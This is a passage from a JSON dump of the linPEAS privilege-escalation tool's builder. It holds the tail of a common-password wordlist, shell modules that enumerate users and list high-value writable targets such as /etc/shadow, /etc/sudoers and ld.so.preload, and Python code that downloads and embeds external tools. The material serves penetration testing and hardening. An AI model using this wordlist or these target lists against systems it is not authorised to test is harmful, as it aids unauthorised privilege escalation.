silence sammie ravens question presario poiuytrewq palmer notebook newman nebraska manutd lucas hermes gators dave dalton cheetah cedric camilla bullseye bridget bingo ashton 123asd yahoo volume valhalla tomorrow starlight scruffy roscoe richard1 positive \\\nplymouth pepsi patrick1 paradox milano maxima loser lestat gizmo ghetto faithful emerson elliott dominique doberman dillon criminal crackers converse chrissy casanova blowme attitude\""
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/usrs_sh.sh",
    "content": "# Title: Variables - Users with and withuot shell\n# ID: usrs_sh\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Check for users with and without shell\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables: $MACPEAS\n# Initial Functions:\n# Generated Global Variables: $sh_usrs, $nosh_usrs, $ushell, $uname\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nif [ \"$MACPEAS\" ]; then\n  sh_usrs=\"ImPoSSssSiBlEee\"\n  nosh_usrs=\"ImPoSSssSiBlEee\"\n  dscl . list /Users | while read uname; do\n    ushell=$(dscl . -read \"/Users/$uname\" UserShell | cut -d \" \" -f2)\n    if  grep -q \\\"$ushell\\\" /etc/shells; then sh_usrs=\"$sh_usrs|$uname\"; else nosh_usrs=\"$nosh_usrs|$uname\"; fi\n  done\nelse\n  sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v \"^root:\" | grep -i \"sh$\" | cut -d \":\" -f 1 | tr '\\n' '|' | sed 's/|bin|/|bin[[:space:]:]|^bin$|/' | sed 's/|sys|/|sys[[:space:]:]|^sys$|/' | sed 's/|daemon|/|daemon[[:space:]:]|^daemon$|/')\"ImPoSSssSiBlEee\" #Modified bin, sys and daemon so they are not colored everywhere\n  nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v \"sh$\" | sort | cut -d \":\" -f 1 | tr '\\n' '|' | sed 's/|bin|/|bin[[:space:]:]|^bin$|/')\"ImPoSSssSiBlEee\"\nfi"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/writeB.sh",
    "content": "# Title: Variables - writeB\n# ID: writeB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Dnagerous files that could be written by the current user\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables:\n# Initial Functions:\n# Generated Global Variables: $writeB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nwriteB=\"00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\\.sh$|\\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\\.timer$|\\.service$|.socket$\"\n"
  },
  {
    "path": "linPEAS/builder/linpeas_parts/variables/writeVB.sh",
    "content": "# Title: Variables - writeVB\n# ID: writeVB\n# Author: Carlos Polop\n# Last Update: 22-08-2023\n# Description: Very dangerous files and folders if writable\n# License: GNU GPL\n# Version: 1.0\n# Functions Used: \n# Global Variables: $PATH\n# Initial Functions:\n# Generated Global Variables: $writeVB\n# Fat linpeas: 0\n# Small linpeas: 1\n\n\nwriteVB=\"/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/ld.so.preload|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|\"$(echo $PATH 2>/dev/null | sed 's/:\\.:/:/g' | sed 's/:\\.$//g' | sed 's/^\\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH\n"
  },
  {
    "path": "linPEAS/builder/src/fileRecord.py",
    "content": "from .yamlGlobals import DEFAULTS, ROOT_FOLDER, COMMON_DIR_FOLDERS, COMMON_FILE_FOLDERS\n\nclass FileRecord:\n    def __init__(self,\n                regex: str,\n                bad_regex: str=DEFAULTS[\"bad_regex\"],\n                very_bad_regex: str=DEFAULTS[\"very_bad_regex\"],\n                check_extra_path: str =DEFAULTS[\"check_extra_path\"],\n                files: dict={},\n                good_regex: str=DEFAULTS[\"good_regex\"],\n                just_list_file: bool=DEFAULTS[\"just_list_file\"],\n                line_grep: str=DEFAULTS[\"line_grep\"],\n                only_bad_lines: bool=DEFAULTS[\"only_bad_lines\"],\n                remove_empty_lines: bool=DEFAULTS[\"remove_empty_lines\"],\n                remove_path: str=DEFAULTS[\"remove_path\"],\n                remove_regex: str=DEFAULTS[\"remove_regex\"],\n                search_in: list=DEFAULTS[\"search_in\"],\n                type: str=DEFAULTS[\"type\"],\n                ):\n\n        self.regex = regex\n        self.bad_regex = bad_regex\n        self.very_bad_regex = very_bad_regex\n        self.check_extra_path = check_extra_path\n        self.files = [FileRecord(regex=fr[\"name\"],**fr[\"value\"]) for fr in files]\n        self.good_regex = good_regex\n        self.just_list_file = just_list_file\n        self.line_grep = line_grep\n        self.only_bad_lines = only_bad_lines\n        self.remove_regex = remove_regex\n        self.remove_empty_lines = remove_empty_lines\n        self.remove_path = remove_path\n        self.type = type\n        self.search_in = self.__resolve_search_in(search_in)\n    \n    def __resolve_search_in(self, search_in):\n        \"\"\" Resolve spacial values to the correct directories \"\"\"\n\n        if \"all\" in search_in:\n            search_in.remove(\"all\")\n            search_in = ROOT_FOLDER\n\n        if \"common\" in search_in:\n            search_in.remove(\"common\")\n            if self.type == \"d\":\n                search_in = list(set(search_in + COMMON_DIR_FOLDERS))\n            else:\n                search_in = list(set(search_in + COMMON_FILE_FOLDERS))\n        \n        #Check that folders to search in are specified in ROOT_FOLDER\n        for r in search_in:\n            assert r in ROOT_FOLDER, f\"{r} not in {ROOT_FOLDER}\"\n        \n        return search_in\n"
  },
  {
    "path": "linPEAS/builder/src/linpeasBaseBuilder.py",
    "content": "import os\nfrom typing import List\n\nfrom .linpeasModule import LinpeasModule, LinpeasModuleList\nfrom .yamlGlobals import (\n    LINPEAS_PARTS,\n    TEMPORARY_LINPEAS_BASE_PATH,\n    PEAS_CHECKS_MARKUP\n)\n\nclass LinpeasBaseBuilder:\n    def __init__(self, all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules):\n        # Everything relevant\n        self.all_modules = self.get_modules(all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules)\n        # Only base\n        self.base = self.get_base()\n        # Only checks\n        self.checks = self.get_checks()\n        print(f\"[+] {len(self.checks)} checks located\")\n        # Only functions sorted\n        self.functions = self.get_functions()\n        # Only variables sorted\n        self.variables = self.get_variables()\n\n        self.linpeas_base = \"\"\n        \n\n\n    def build(self):\n        print(\"[+] Building temporary linpeas_base.sh with the indicated modules...\")\n        \n        # Add base code\n        for base in self.base:\n            self.linpeas_base += base.sh_code.strip() + \"\\n\\n\"\n        \n        # Add variables\n        self.linpeas_base += \"\\n\\n\\n# Variables\\n\\n\"\n        for variable in self.variables:\n            if \"Checks pre-everything\" in variable.sh_code:\n                a=1\n            self.linpeas_base += variable.sh_code.strip() + \"\\n\\n\"\n        \n        self.linpeas_base += \"\\n\\n\\n# Functions\\n\\n\"\n        # Add functions\n        for function in self.functions:\n            self.linpeas_base += function.sh_code.strip() + \"\\n\\n\"\n\n        self.linpeas_base += \"\\n\\n\\n# Checks\\n\\n\"\n\n        section_checks = {}\n        check_names = []\n        for check in self.checks:\n            # Get the section of the check\n            for part_mod in LINPEAS_PARTS[\"modules\"]:\n                if part_mod[\"folder_path\"] in check.path:\n                    if part_mod[\"name\"] not in section_checks:\n                        section_checks[part_mod[\"name\"]] = part_mod\n                        section_checks[part_mod[\"name\"]][\"checks\"] = []\n                    section_checks[part_mod[\"name\"]][\"checks\"].append(check)\n                    break\n        \n        initial_functions = set()\n        for section_name, section_info in section_checks.items():\n            # Add 1 time the big section name to check_names to then put it inside linpeas in PEAS_CHECKS_MARKUP\n            if not section_info['name_check'] in check_names: check_names.append(section_info['name_check'])\n\n            # Collect all MITRE IDs declared across every check in this section\n            section_mitre_ids = []\n            for c in section_info[\"checks\"]:\n                for mid in c.mitre_ids:\n                    if mid not in section_mitre_ids:\n                        section_mitre_ids.append(mid)\n            section_mitre_str = \",\".join(section_mitre_ids)\n\n            # Gate on both CHECKS name and (if MITRE_FILTER active) the section's MITRE IDs.\n            # check_mitre_filter already returns 0 when MITRE_FILTER is empty, so no extra guard needed.\n            if section_mitre_str:\n                self.linpeas_base += f\"\\nif echo $CHECKS | grep -q {section_info['name_check']}; then\\n\"\n                self.linpeas_base += f'if check_mitre_filter \"{section_mitre_str}\"; then\\n'\n                extra_fi = True\n            else:\n                self.linpeas_base += f\"\\nif echo $CHECKS | grep -q {section_info['name_check']}; then\\n\"\n                extra_fi = False\n\n            # Section title does not show MITRE IDs (too verbose); individual checks carry their own tags\n            self.linpeas_base += f'print_title \"{section_name}\"\\n'\n            section_info[\"checks\"] = sorted(section_info[\"checks\"], key=lambda x: int(os.path.basename(x.path).split('_')[0]) if os.path.basename(x.path).split('_')[0].isdigit() else 99)\n            for check in section_info[\"checks\"]:\n                for func in check.initial_functions:\n                    if not func in initial_functions:\n                        self.linpeas_base += func + \"\\n\"\n                        initial_functions.add(func)\n\n                # Wrap individual check in MITRE filter if it declares technique IDs\n                if check.mitre_ids:\n                    mitre_tag_str = \",\".join(check.mitre_ids)\n                    self.linpeas_base += f'if check_mitre_filter \"{mitre_tag_str}\"; then\\n'\n                    self.linpeas_base += check.sh_code.strip() + \"\\n\\n\"\n                    self.linpeas_base += \"fi\\n\\n\"\n                else:\n                    self.linpeas_base += check.sh_code.strip() + \"\\n\\n\"\n\n            if extra_fi:\n                self.linpeas_base += \"fi\\n\"\n\n            self.linpeas_base += f\"\\nfi\\necho ''\\necho ''\\n\"\n            self.linpeas_base += 'if [ \"$WAIT\" ]; then echo \"Press enter to continue\"; read \"asd\"; fi\\n'\n\n        self.linpeas_base = self.linpeas_base.replace(PEAS_CHECKS_MARKUP, \",\".join(check_names))\n\n        with open(TEMPORARY_LINPEAS_BASE_PATH, \"w\") as f:\n            f.write(self.linpeas_base)\n    \n    def find_func_module(self, func_name:str):\n        \"\"\"Given a function name and the list of modules return the module that contains the function\"\"\"\n        \n        modules = []\n        for module in self.all_modules:\n            if func_name in module.defined_funcs:\n                modules.append(module)\n        \n        if len(modules) == 0:\n            raise Exception(f\"Function {func_name} not found in any module\")\n        elif len(modules) > 1:\n            raise Exception(f\"Function {func_name} found in more than 1 module: {modules}\")\n        \n        return modules[0]\n\n    def find_variable_module(self, var_name:str, orig_module:LinpeasModule):\n        \"\"\"Given a variable name and the list of modules return the module that contains the variable\"\"\"\n        \n        modules = []\n        for module in self.all_modules:\n            if var_name in module.generated_global_variables:\n                modules.append(module)\n        \n        if len(modules) == 0:\n            raise Exception(f\"Variable '{var_name}' from {orig_module.path} not found in any module\")\n        elif len(modules) > 1:\n            raise Exception(f\"Variable {var_name} found in more than 1 module: {', '.join([m.path for m in modules])}\")\n        \n        return modules[0]\n    \n    def sort_funcs(self, functions:List[LinpeasModule]):\n        \"\"\"Given a list of functions, return the list sorted by dependencies\"\"\"\n        \n        sorted_funcs = functions.copy()\n        retry = False\n\n        for i,func in enumerate(functions):\n            for d_func in func.functions_used:\n                is_base = False\n                # If the dependant variable is defined in a module that is in the base, remove it from the list\n                if any (d_func in m.defined_funcs for m in self.base):\n                    try:\n                        sorted_funcs.index(d_func) # Check if it's there\n                        sorted_funcs.remove(d_func) # Remove if it's\n                        retry = True # After a failure, start again\n                    except:\n                        pass\n                    \n                    is_base = True\n                \n                if is_base:\n                    continue\n                \n                # If a dependant variable is after the current one, move it to the current position\n                try:\n                    dp_index = functions.index(d_func)\n                except:\n                    raise Exception(f\"Variable {d_func} not found in {func.path}\")\n                \n                if dp_index > i:\n                    sorted_funcs.remove(d_func)\n                    sorted_funcs.insert(i, functions[dp_index])\n                    retry = True\n                    \n        if retry:\n            return self.sort_funcs(sorted_funcs)\n        return sorted_funcs\n    \n\n    def sort_variables(self, variables:List[LinpeasModule]):\n        \"\"\"Given a list of variables, return the list sorted by dependencies\"\"\"\n        \n        sorted_vars = variables.copy()\n        retry = False\n\n        for i,var in enumerate(variables):\n            for d_var in var.global_variables:\n                is_base = False\n                # If the dependant variable is defined in a module that is in the base, remove it from the list\n                if any (d_var in m.generated_global_variables for m in self.base):\n                    try:\n                        sorted_vars.index(d_var) # Check if it's there\n                        sorted_vars.remove(d_var) # Remove if it's\n                        retry = True # After a failure, start again\n                    except:\n                        pass\n                    \n                    is_base = True\n                \n                if is_base:\n                    continue\n                \n                # If a dependant variable is after the current one, move it to the current position\n                try:\n                    dp_index = variables.index(d_var)\n                except:\n                    raise Exception(f\"Variable {d_var} not found in {var.path}\")\n                \n                if dp_index > i:\n                    sorted_vars.remove(d_var)\n                    sorted_vars.insert(i, variables[dp_index])\n                    retry = True\n                    \n        if retry:\n            return self.sort_variables(sorted_vars)\n        return sorted_vars\n    \n    def get_funcs_deps(self, module, all_funcs):\n        \"\"\"Given 1 module and the list of modules return the functions recursively it depends on\"\"\"\n        \n        module_funcs = list(set(module.initial_functions + module.functions_used))\n        for func in module_funcs:\n            func_module = self.find_func_module(func)\n            #print(f\"{module.id} has found {func} in {func_module.id}\") #To find circular dependencies\n            if not func_module.is_function:\n                continue\n            if func_module in all_funcs:\n                all_funcs.remove(func_module)\n            all_funcs.append(func_module)\n            all_funcs = self.get_funcs_deps(func_module, all_funcs)\n        \n        return all_funcs\n\n\n    def get_vars_deps(self, module, all_vars):\n        \"\"\"Given 1 module and the list of modules return the variables recursively it depends on\"\"\"\n        \n        for var in module.global_variables:\n            var_module = self.find_variable_module(var, module)\n            #print(f\"{module.id} has found {var} in {var_module.id}\") #To find circular dependencies\n            if not var_module.is_variable:\n                continue\n            if var_module in all_vars:\n                all_vars.remove(var_module)\n            all_vars.append(var_module)\n            all_vars = self.get_vars_deps(var_module, all_vars)\n        \n        return all_vars\n    \n    \n    def get_functions(self):\n        \"\"\"Get all the functions used sorted, first the ones that don't depend on any other, then the ones that depend on the previous ones, etc.\"\"\"\n\n        all_funcs = LinpeasModuleList()\n\n        for module in self.checks:\n            all_funcs = self.get_funcs_deps(module, all_funcs)\n        \n        return self.sort_funcs(all_funcs)\n\n\n    def get_variables(self):\n        \"\"\"Get all the variables used sorted, first the ones that don't depend on any other, then the ones that depend on the previous ones, etc.\"\"\"\n\n        all_variables = LinpeasModuleList()\n\n        for module in self.checks + self.functions:\n            all_variables = self.get_vars_deps(module, all_variables)\n\n        return self.sort_variables(all_variables)\n            \n    \n    def get_checks(self):\n        \"\"\"Given all the modules get only the checks\"\"\"\n\n        checks = LinpeasModuleList()\n        for module in self.all_modules:\n            if not module.is_check:\n                continue\n            \n            checks.append(module)\n        \n        return checks\n\n\n    def get_base(self):\n        \"\"\"Given all the modules get only the base\"\"\"\n\n        checks = LinpeasModuleList()\n        for module in self.all_modules:\n            if not module.is_base:\n                continue\n            \n            checks.append(module)\n        \n        return checks\n\n    \n    def enumerate_directory(self, path):\n        \"\"\"Given a directory get the paths to all the files inside it\"\"\"\n        return sorted([os.path.join(path, f) for f in os.listdir(path) if os.path.isfile(os.path.join(path, f))])\n    \n    def get_modules(self, all_modules, all_no_fat_modules, no_network_scanning, small, include_modules, exclude_modules) -> LinpeasModuleList:\n        \"\"\"Get all the base, variable, function and specified modules to create the new linpeas\"\"\"\n\n        print(\"[+] Checking the syntax of the modules...\")\n        parsed_modules = LinpeasModuleList()\n        all_module_paths = []\n        # Base modules\n        all_module_paths += self.enumerate_directory(LINPEAS_PARTS[\"base\"])\n\n        # Function modules\n        all_module_paths += self.enumerate_directory(LINPEAS_PARTS[\"functions\"])\n\n        # Variable modules\n        all_module_paths += self.enumerate_directory(LINPEAS_PARTS[\"variables\"])\n        \n        for module in LINPEAS_PARTS[\"modules\"]:\n            exclude = False\n            for ex_module in exclude_modules:\n                if ex_module in module[\"folder_path\"] or ex_module in [module[\"name\"], module[\"name_check\"]]:\n                    exclude = True\n                    break\n            if exclude: continue\n            all_module_paths += self.enumerate_directory(module[\"folder_path\"])\n        \n        for module in all_module_paths:\n            m = LinpeasModule(module)\n\n            # If base, function or variable, add it as it will only be used if needed\n            if m.is_function or m.is_variable:\n                parsed_modules.append(m)\n                continue\n            \n            # If base but no interested in network scanning, skip, else, add\n            if m.is_base:\n                if \"check_network_jobs\" in m.path and no_network_scanning:\n                    continue\n                parsed_modules.append(m)\n                continue\n            \n            # If explicitely excluded, skip\n            if m.id in exclude_modules:\n                continue\n            if all_no_fat_modules and m.is_fat:\n                continue\n            if small and not m.is_small:\n                continue\n            \n            # If implicitly included, add\n            if all_modules or all_no_fat_modules or m.id in include_modules:\n                parsed_modules.append(m)\n            for in_module in include_modules:\n                if in_module.lower() in os.path.basename(m.path).lower() or in_module.lower() == m.id.lower() or in_module in [m.section_info[\"name\"], m.section_info[\"name_check\"]]:\n                    parsed_modules.append(m)\n                    break\n            \n        return parsed_modules\n\n\n\n"
  },
  {
    "path": "linPEAS/builder/src/linpeasBuilder.py",
    "content": "import re\nimport requests\nimport base64\nimport os\nfrom pathlib import Path\n\nfrom .peasLoaded import PEASLoaded\nfrom .peassRecord import PEASRecord\nfrom .fileRecord import FileRecord\nfrom .linpeasModule import LinpeasModule\nfrom .yamlGlobals import (\n    TEMPORARY_LINPEAS_BASE_PATH,\n    PEAS_FINDS_MARKUP,\n    PEAS_FINDS_CUSTOM_MARKUP,\n    PEAS_STORAGES_MARKUP,\n    INT_HIDDEN_FILES_MARKUP,\n    ROOT_FOLDER,\n    STORAGE_TEMPLATE,\n    FIND_TEMPLATE,\n    FIND_LINE_MARKUP,\n    STORAGE_LINE_MARKUP,\n    STORAGE_LINE_EXTRA_MARKUP,\n    EXTRASECTIONS_MARKUP,\n    PEAS_VARIABLES_MARKUP,\n    YAML_VARIABLES,\n    SUIDVB1_MARKUP,\n    SUIDVB2_MARKUP,\n    SUDOVB1_MARKUP,\n    SUDOVB2_MARKUP,\n    CAP_SETUID_MARKUP,\n    CAP_SETGID_MARKUP,\n    REGEXES_LOADED,\n    REGEXES_MARKUP\n)\n\n\nclass LinpeasBuilder:\n    def __init__(self, ploaded:PEASLoaded):\n        self.ploaded = ploaded\n        self.hidden_files = set()\n        self.bash_find_f_vars, self.bash_find_d_vars = set(), set()\n        self.bash_storages = set()\n        self.__get_files_to_search()\n        with open(TEMPORARY_LINPEAS_BASE_PATH, 'r') as file:\n            self.linpeas_sh = file.read()\n\n    def build(self):\n        print(\"[+] Building variables...\")\n        variables = self.__generate_variables()\n        self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, \"\")\n        \n        if len(re.findall(r\"PSTORAGE_[a-zA-Z0-9_]+\", self.linpeas_sh)) > 1: #Only add storages if there are storages (PSTORAGE_BACKUPS is always there so it doesn't count)\n            print(\"[+] Building finds...\")\n            find_calls, find_custom_calls = self.__generate_finds()\n            self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, \"  \")\n            self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, \"  \")\n\n            print(\"[+] Building storages...\")\n            storage_vars = self.__generate_storages()\n            self.__replace_mark(PEAS_STORAGES_MARKUP, storage_vars, \"  \")\n        \n        else:\n            lm = LinpeasModule(os.path.join(os.path.dirname(__file__), \"..\", \"linpeas_parts\", \"linpeas_base\", \"2_caching_finds.sh\"))\n            self.linpeas_sh = self.linpeas_sh.replace(lm.sh_code, \"\")\n\n        #Check all the expected STORAGES in linpeas have been created\n        for s in re.findall(r'PSTORAGE_[a-zA-Z0-9_]+', self.linpeas_sh):\n            assert s in self.bash_storages, f\"{s} isn't created\"\n\n        #Replace interesting hidden files markup for a list of all the searched hidden files\n        self.__replace_mark(INT_HIDDEN_FILES_MARKUP, sorted(self.hidden_files), \"|\")\n\n        print(\"[+] Checking duplicates...\")\n        peass_marks = self.__get_peass_marks()\n        for i,mark in enumerate(peass_marks):\n            for j in range(i+1,len(peass_marks)):\n                assert mark != peass_marks[j], f\"Found repeated peass mark: {mark}\"\n\n        print(\"[+] Building autocheck sections...\")\n        sections = self.__generate_sections()\n        for section_name, bash_lines in sections.items():\n            mark = \"peass{\"+section_name+\"}\"\n            if mark in peass_marks:\n                self.__replace_mark(mark, list(bash_lines), \"\")\n            else:\n                self.__replace_mark(EXTRASECTIONS_MARKUP, [bash_lines, EXTRASECTIONS_MARKUP], \"\\n\\n\")\n        \n        self.__replace_mark(EXTRASECTIONS_MARKUP, list(\"\"), \"\") #Delete extra markup\n\n        print(\"[+] Building regexes searches...\")\n        section = self.__generate_regexes_search()\n        self.__replace_mark(REGEXES_MARKUP, list(section), \"\")\n\n\n        print(\"[+] Downloading external tools...\")\n        urls = re.findall(r'peass\\{(https://[^\\}]+)\\}', self.linpeas_sh)\n        for orig_url in urls:\n            tar_gz_bin_name = \"\"\n            if \",,,\" in orig_url:\n                tar_gz_bin_name = orig_url.split(\",,,\")[1]\n                url = orig_url.split(\",,,\")[0]\n            else:\n                url = orig_url\n            \n            print(f\"Downloading {url}...\")\n            \n            bin_b64 = self.__get_bin(url, tar_gz_bin_name)\n\n            assert len(bin_b64) > 15000, f\"Len of downloaded {url} is {len(bin_b64)}\"\n            \n            self.__replace_mark(\"peass{\"+orig_url+\"}\", list(bin_b64), \"\")\n        \n        if any(v in self.linpeas_sh for v in [SUIDVB1_MARKUP, SUIDVB2_MARKUP, SUDOVB1_MARKUP, SUDOVB2_MARKUP, CAP_SETUID_MARKUP, CAP_SETGID_MARKUP]):\n            print(\"[+] Building GTFOBins lists...\")\n            suidVB, sudoVB, capsVB = self.__get_gtfobins_lists()\n            assert len(suidVB) > 185, f\"Len suidVB is {len(suidVB)}\"\n            assert len(sudoVB) > 250, f\"Len sudo is {len(sudoVB)}\"\n            assert len(capsVB) > 2, f\"Len capsVB is {len(capsVB)}\"\n\n            self.__replace_mark(SUIDVB1_MARKUP, suidVB[:int(len(suidVB)/2)], \"|\")\n            self.__replace_mark(SUIDVB2_MARKUP, suidVB[int(len(suidVB)/2):], \"|\")\n            self.__replace_mark(SUDOVB1_MARKUP, sudoVB[:int(len(sudoVB)/2)], \"|\")\n            self.__replace_mark(SUDOVB2_MARKUP, sudoVB[int(len(sudoVB)/2):], \"|\")\n            self.__replace_mark(CAP_SETUID_MARKUP, capsVB, \"|\")\n            self.__replace_mark(CAP_SETGID_MARKUP, capsVB, \"|\")\n\n        print(\"[+] Final sanity checks...\")\n        #Check that there arent peass marks left in linpeas\n        peass_marks = self.__get_peass_marks()\n        assert len(peass_marks) == 0, f\"There are peass marks left: {', '.join(peass_marks)}\"\n        \n        #Check for empty seds\n        assert 'sed -${E} \"s,,' not in self.linpeas_sh\n    \n    def __get_peass_marks(self):\n        return re.findall(r'peass\\{[a-zA-Z0-9\\-\\._ ]*\\}', self.linpeas_sh)\n\n    \n    def __generate_variables(self):\n        \"\"\"Generate the variables from the yaml to set into linpeas bash script\"\"\"\n        variables_bash = \"\"\n        for var in YAML_VARIABLES:\n            variables_bash += f\"{var['name']}=\\\"{var['value']}\\\"\\n\"\n        \n        return variables_bash\n\n\n    def __get_files_to_search(self):\n        \"\"\"Given a PEASLoaded and find the files that need to be searched on each root folder\"\"\"\n        self.dict_to_search = {\"d\": {}, \"f\": {}}\n        self.dict_to_search[\"d\"] = {r: set() for r in ROOT_FOLDER}\n        self.dict_to_search[\"f\"] = {r: set() for r in ROOT_FOLDER}\n\n        for precord in self.ploaded.peasrecords:\n            for frecord in precord.filerecords:\n                for folder in frecord.search_in:\n                    self.dict_to_search[frecord.type][folder].add(frecord.regex)\n                \n                if frecord.regex[0] == \".\" or frecord.regex[:2] == \"*.\":\n                    self.hidden_files.add(frecord.regex.replace(\"*\",\"\"))\n\n\n    def __generate_finds(self) -> list:\n        \"\"\"Given the regexes to search on each root folder, generate the find command\"\"\"\n        finds = []\n        \n        finds_custom = []\n        all_folder_regexes = []\n        all_file_regexes = []\n        \n        for type,searches in self.dict_to_search.items():\n            for r,regexes in searches.items():\n                if regexes:\n                    find_line = f\"{r} \"\n                    \n                    if type == \"d\": \n                        find_line += \"-type d \"\n                        bash_find_var = f\"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}\"\n                        self.bash_find_d_vars.add(bash_find_var)\n                        all_folder_regexes += regexes\n                    else:\n                        bash_find_var = f\"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}\"\n                        self.bash_find_f_vars.add(bash_find_var)\n                        all_file_regexes += regexes\n\n                    find_line += '-name \\\\\"' + '\\\\\" -o -name \\\\\"'.join(regexes) + '\\\\\"'\n                    find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)\n                    find_line = f\"{bash_find_var}={find_line}\"\n                    finds.append(find_line)\n        \n        # Buid folder and files finds when searching in a custom folder\n        all_folder_regexes = list(set(all_folder_regexes))\n        find_line = '$SEARCH_IN_FOLDER -type d -name \\\\\"' + '\\\\\" -o -name \\\\\"'.join(all_folder_regexes) + '\\\\\"'\n        find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)\n        find_line = f\"FIND_DIR_CUSTOM={find_line}\"\n        finds_custom.append(find_line)\n        \n        all_file_regexes = list(set(all_file_regexes))\n        find_line = '$SEARCH_IN_FOLDER -name \\\\\"' + '\\\\\" -o -name \\\\\"'.join(all_file_regexes) + '\\\\\"'\n        find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)\n        find_line = f\"FIND_CUSTOM={find_line}\"\n        finds_custom.append(find_line)\n            \n        return finds, finds_custom\n\n    def __generate_storages(self) -> list:\n        \"\"\"Generate the storages to save the results per entry\"\"\"\n        storages = []\n        custom_storages = [\"FIND_CUSTOM\", \"FIND_DIR_CUSTOM\"]\n        all_f_finds = \"$\" + \"\\\\n$\".join(list(self.bash_find_f_vars) + custom_storages)\n        all_d_finds = \"$\" + \"\\\\n$\".join(list(self.bash_find_d_vars) + custom_storages)\n        all_finds = \"$\" + \"\\\\n$\".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars) + custom_storages)\n        \n        for precord in self.ploaded.peasrecords:\n            bash_storage_var = f\"PSTORAGE_{precord.bash_name}\"\n            self.bash_storages.add(bash_storage_var)\n            \n            #Select the FIND_ variables to search on depending on the type files\n            if all(frecord.type == \"f\" for frecord in precord.filerecords):\n                storage_line = STORAGE_TEMPLATE.replace(STORAGE_LINE_MARKUP, all_f_finds)\n            elif all(frecord.type == \"d\" for frecord in precord.filerecords):\n                storage_line = STORAGE_TEMPLATE.replace(STORAGE_LINE_MARKUP, all_d_finds)\n            else:\n                storage_line = STORAGE_TEMPLATE.replace(STORAGE_LINE_MARKUP, all_finds)\n\n            #Grep by filename regex (ended in '$')\n            bsp = '\\\\.' #A 'f' expression cannot contain a backslash, so we generate here the bs need in the line below\n            grep_names = f\" | grep -E \\\"{'|'.join([frecord.regex.replace('.',bsp).replace('*', '.*')+'$' for frecord in precord.filerecords])}\\\"\"\n\n            #Grep by searched folders\n            grep_folders_searched = f\" | grep -E \\\"^{'|^'.join(list(set([d for frecord in precord.filerecords for d in frecord.search_in])))}\\\"\".replace(\"HOMESEARCH\",\"GREPHOMESEARCH\")\n\n            #Grep extra paths. They are accumulative between files of the same PEASRecord\n            grep_extra_paths = \"\"\n            if any(True for frecord in precord.filerecords if frecord.check_extra_path):\n                grep_extra_paths = f\" | grep -E '{'|'.join(list(set([frecord.check_extra_path for frecord in precord.filerecords if frecord.check_extra_path])))}'\"\n            \n            #Grep to remove paths. They are accumulative between files of the same PEASRecord\n            grep_remove_path = \"\"\n            if any(True for frecord in precord.filerecords if frecord.remove_path):\n                grep_remove_path = f\" | grep -v -E '{'|'.join(list(set([frecord.remove_path for frecord in precord.filerecords if frecord.remove_path])))}'\"\n            \n            #Construct the final line like: STORAGE_MYSQL=$(echo \"$FIND_DIR_ETC\\n$FIND_DIR_USR\\n$FIND_DIR_VAR\\n$FIND_DIR_MNT\" | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -v \"mysql/mysql\")\n            storage_line = storage_line.replace(STORAGE_LINE_EXTRA_MARKUP, f\"{grep_remove_path}{grep_extra_paths}{grep_folders_searched}{grep_names}\")\n            storage_line = f\"{bash_storage_var}={storage_line}\"\n            storages.append(storage_line)\n        \n        return storages\n\n    def __generate_sections(self) -> dict:\n        \"\"\"Generate sections for records with auto_check to True\"\"\"\n        sections = {}\n\n        for precord in self.ploaded.peasrecords:\n            if precord.auto_check:\n                section = f'if [ \"$PSTORAGE_{precord.bash_name}\" ] || [ \"$DEBUG\" ]; then\\n'\n                section += f'  print_2title \"Analyzing 